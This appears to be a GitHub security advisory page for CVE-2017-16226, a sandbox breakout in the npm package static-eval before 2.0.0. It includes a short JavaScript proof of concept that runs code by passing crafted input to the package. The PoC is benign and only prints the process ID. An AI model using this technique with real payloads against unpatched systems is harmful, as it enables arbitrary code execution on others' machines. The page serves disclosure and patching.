GitHub Advisoryadvisory · npm

GHSA-5mjw-6jrh-hvfq Sandbox Breakout / Arbitrary Code Execution in static-eval

MEDIUM Published 2018-08-06 Modified 2023-09-11 Official page ↗
Aliases
CVE-2017-16226
Ecosystem
npm
Packages
static-eval
Severity
Moderate
Weaknesses
CWE-20
Reviewed
2020-06-16

Affected packages

• npm static-eval: < 2.0.0 → fixed in 2.0.0

Description

Affected versions of `static-eval` pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package. Proof of concept ```js var evaluate = require('static-eval'); var parse = require('esprima').parse; var src = '(function(){console.log(process.pid)})()'; var ast = parse(src).body[0].expression; var res = evaluate(ast, {}); // Will print the process id ``` Recommendation Update to version 2.0.0 or later.

Related

Alias · CVE (1)

  • CVE-2017-16226 The static-eval module is intended to evaluate statically-analyzable expressions. vulnerability

Weakness · CWE (1)

  • CWE-20 Improper Input Validation weakness

References